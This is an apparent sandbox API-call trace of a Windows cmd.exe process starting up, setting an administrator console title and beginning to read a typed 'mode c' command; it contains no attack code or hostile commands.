	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x0, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x9, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x9, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x0, lpData=0x4dd259e660*=0x9, lpcbData=0x4dd259e644*=0x1000) returned 0x2
	[0068.822] RegCloseKey (hKey=0x7c) returned 0x0
	[0068.822] time (in: timer=0x0 | out: timer=0x0) returned 0x5e62df70
	[0068.822] srand (_Seed=0x5e62df70) 
	[0068.822] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0068.822] malloc (_Size=0x4000) returned 0x1a1db5d54f0
	[0068.822] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0068.822] malloc (_Size=0xffce) returned 0x1a1db5e0080
	[0068.823] ??_V@YAXPEAX@Z () returned 0x1a1db5e0080
	[0068.823] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a1db5e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0068.824] malloc (_Size=0xffce) returned 0x1a1db5f0060
	[0068.832] ??_V@YAXPEAX@Z () returned 0x1a1db5f0060
	[0068.833] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1a1db5f0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0068.954] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0068.954] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0068.954] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0068.955] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0068.955] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0068.965] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0068.965] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0068.965] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0068.965] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0068.965] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0068.965] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0068.965] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0068.965] GetProcessHeap () returned 0x1a1db4a0000
	[0068.965] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a64a0) returned 1
	[0068.965] GetEnvironmentStringsW () returned 0x1a1db4a5a10*
	[0068.965] GetProcessHeap () returned 0x1a1db4a0000
	[0068.965] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xa94) returned 0x1a1db4a7a10
	[0068.965] FreeEnvironmentStringsA (penv="A") returned 1
	[0068.965] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0068.965] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0068.965] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0068.965] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0068.965] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0068.965] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0068.965] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0068.965] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0068.965] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0068.965] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0068.966] malloc (_Size=0xffce) returned 0x1a1db600040
	[0068.966] ??_V@YAXPEAX@Z () returned 0x1a1db600040
	[0068.966] GetProcessHeap () returned 0x1a1db4a0000
	[0068.966] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x40) returned 0x1a1db4a84b0
	[0068.966] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a1db600040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0068.966] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1a1db600040, lpFilePart=0x4dd259f1c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4dd259f1c0*="Desktop") returned 0x17
	[0068.967] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0068.967] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x4dd259eef0 | out: lpFindFileData=0x4dd259eef0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1a1db4a8500
	[0068.967] FindClose (in: hFindFile=0x1a1db4a8500 | out: hFindFile=0x1a1db4a8500) returned 1
	[0068.967] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x4dd259eef0 | out: lpFindFileData=0x4dd259eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1a1db4a8500
	[0068.967] FindClose (in: hFindFile=0x1a1db4a8500 | out: hFindFile=0x1a1db4a8500) returned 1
	[0068.967] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x4dd259eef0 | out: lpFindFileData=0x4dd259eef0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x8432004e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x8432004e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1a1db4a8500
	[0068.968] FindClose (in: hFindFile=0x1a1db4a8500 | out: hFindFile=0x1a1db4a8500) returned 1
	[0068.968] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0068.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0068.968] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0068.968] GetProcessHeap () returned 0x1a1db4a0000
	[0068.968] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a7a10) returned 1
	[0068.968] GetEnvironmentStringsW () returned 0x1a1db4a0fc0*
	[0068.968] GetProcessHeap () returned 0x1a1db4a0000
	[0068.968] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xacc) returned 0x1a1db4a8500
	[0068.968] FreeEnvironmentStringsA (penv="=") returned 1
	[0068.968] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a1db5e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0068.968] GetProcessHeap () returned 0x1a1db4a0000
	[0068.968] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a84b0) returned 1
	[0068.968] ??_V@YAXPEAX@Z () returned 0x1
	[0068.968] ??_V@YAXPEAX@Z () returned 0x1
	[0068.968] GetProcessHeap () returned 0x1a1db4a0000
	[0068.968] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x4016) returned 0x1a1db4a8fe0
	[0068.969] GetProcessHeap () returned 0x1a1db4a0000
	[0068.969] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a8fe0) returned 1
	[0068.969] GetConsoleOutputCP () returned 0x1b5
	[0069.043] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d8c1fbb0 | out: lpCPInfo=0x7ff7d8c1fbb0) returned 1
	[0069.043] GetUserDefaultLCID () returned 0x409
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7d8c1bb78, cchData=8 | out: lpLCData=":") returned 2
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x4dd259f580, cchData=128 | out: lpLCData="0") returned 2
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x4dd259f580, cchData=128 | out: lpLCData="0") returned 2
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x4dd259f580, cchData=128 | out: lpLCData="1") returned 2
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7d8c1bb68, cchData=8 | out: lpLCData="/") returned 2
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7d8c1bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7d8c1bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7d8c1ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7d8c1ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7d8c1ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7d8c1b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7d8c1b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7d8c1bb58, cchData=8 | out: lpLCData=".") returned 2
	[0069.044] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7d8c1bb40, cchData=8 | out: lpLCData=",") returned 2
	[0069.044] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0069.046] GetProcessHeap () returned 0x1a1db4a0000
	[0069.046] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, Size=0x20c) returned 0x1a1db4a6560
	[0069.046] GetConsoleTitleW (in: lpConsoleTitle=0x1a1db4a6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0069.051] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.051] GetFileType (hFile=0x254) returned 0x3
	[0069.707] ApiSetQueryApiSetPresence () returned 0x0
	[0069.707] ResolveDelayLoadedAPI () returned 0x7ffcdeb7d990
	[0069.955] BrandingFormatString () returned 0x1a1db4a6a50
	[0069.960] GetVersion () returned 0x3ad7000a
	[0069.960] _vsnwprintf (in: _Buffer=0x4dd259f6e0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x4dd259f678 | out: _Buffer="10.0.15063") returned 10
	[0069.960] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.960] GetFileType (hFile=0x254) returned 0x3
	[0069.960] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d8c27f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0069.961] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d8c27f60, nSize=0x2000, Arguments=0x4dd259f680 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0069.961] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0069.961] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x4dd259f5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f5d8*=0x26, lpOverlapped=0x0) returned 1
	[0069.961] _vsnwprintf (in: _Buffer=0x7ff7d8c27f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4dd259f6a8 | out: _Buffer="\r\n") returned 2
	[0069.961] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.961] GetFileType (hFile=0x254) returned 0x3
	[0069.961] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0069.961] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dd259f678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f678*=0x2, lpOverlapped=0x0) returned 1
	[0069.961] _vsnwprintf (in: _Buffer=0x7ff7d8c27f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x4dd259f6a8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0069.961] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.961] GetFileType (hFile=0x254) returned 0x3
	[0069.961] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0069.962] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x4dd259f678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f678*=0x34, lpOverlapped=0x0) returned 1
	[0069.962] _vsnwprintf (in: _Buffer=0x7ff7d8c27f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4dd259f6a8 | out: _Buffer="\r\n") returned 2
	[0069.962] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.962] GetFileType (hFile=0x254) returned 0x3
	[0069.962] _get_osfhandle (_FileHandle=1) returned 0x254
	[0069.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0069.962] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dd259f678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f678*=0x2, lpOverlapped=0x0) returned 1
	[0069.962] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0069.962] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830
	[0069.962] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300
	[0069.962] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40
	[0069.962] ??_V@YAXPEAX@Z () returned 0x1
	[0069.963] _get_osfhandle (_FileHandle=0) returned 0x248
	[0069.963] GetFileType (hFile=0x248) returned 0x3
	[0069.963] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0069.963] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x4dd259f4e8 | out: TokenHandle=0x4dd259f4e8*=0x0) returned 0xc000007c
	[0069.963] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x4dd259f4e8 | out: TokenHandle=0x4dd259f4e8*=0x98) returned 0x0
	[0069.963] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x4dd259f498, TokenInformationLength=0x4, ReturnLength=0x4dd259f4a0 | out: TokenInformation=0x4dd259f498, ReturnLength=0x4dd259f4a0) returned 0x0
	[0069.963] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x4dd259f4a0, TokenInformationLength=0x4, ReturnLength=0x4dd259f498 | out: TokenInformation=0x4dd259f4a0, ReturnLength=0x4dd259f498) returned 0x0
	[0069.963] NtClose (Handle=0x98) returned 0x0
	[0069.963] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x4dd259f4b0, nSize=0x0, Arguments=0x4dd259f4b8 | out: lpBuffer="᧰?ơ") returned 0xf
	[0070.611] GetProcessHeap () returned 0x1a1db4a0000
	[0070.611] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x218) returned 0x1a1db4a6c30
	[0070.613] GetConsoleTitleW (in: lpConsoleTitle=0x4dd259f500, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0071.221] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0071.221] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0072.077] GetProcessHeap () returned 0x1a1db4a0000
	[0072.077] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a6c30) returned 1
	[0072.078] LocalFree (hMem=0x1a1db4a19f0) returned 0x0
	[0072.079] _vsnwprintf (in: _Buffer=0x7ff7d8c27f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x4dd259f328 | out: _Buffer="\r\n") returned 2
	[0072.079] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.079] GetFileType (hFile=0x254) returned 0x3
	[0072.079] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0072.079] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dd259f2f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f2f8*=0x2, lpOverlapped=0x0) returned 1
	[0072.079] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d8c1bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0072.079] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a1db5e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0072.079] malloc (_Size=0x107ce) returned 0x1a1db5f0060
	[0072.080] _vsnwprintf (in: _Buffer=0x1a1db5f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x4dd259f338 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0072.080] _vsnwprintf (in: _Buffer=0x1a1db5f008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x4dd259f338 | out: _Buffer=">") returned 1
	[0072.080] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.080] GetFileType (hFile=0x254) returned 0x3
	[0072.080] _get_osfhandle (_FileHandle=1) returned 0x254
	[0072.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0072.080] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d8c19970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x4dd259f328, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesWritten=0x4dd259f328*=0x18, lpOverlapped=0x0) returned 1
	[0072.080] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.080] GetFileType (hFile=0x248) returned 0x3
	[0072.080] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.080] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.080] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0072.080] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.080] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.080] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0072.081] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.081] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.081] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0072.081] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.081] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.081] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0072.081] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.081] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.081] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0072.081] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.081] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0072.081] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d8c19970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x4dd259f688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d8c19970*, lpNumberOfBytesRead=0x4dd259f688*=0x1, lpOverlapped=0x0) returned 1
	[0072.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d8c19970, cbMultiByte=1, lpWideCharStr=0x7ff7d8c23c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0072.081] _get_osfhandle (_FileHandle=0) returned 0x248
	[0072.081] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
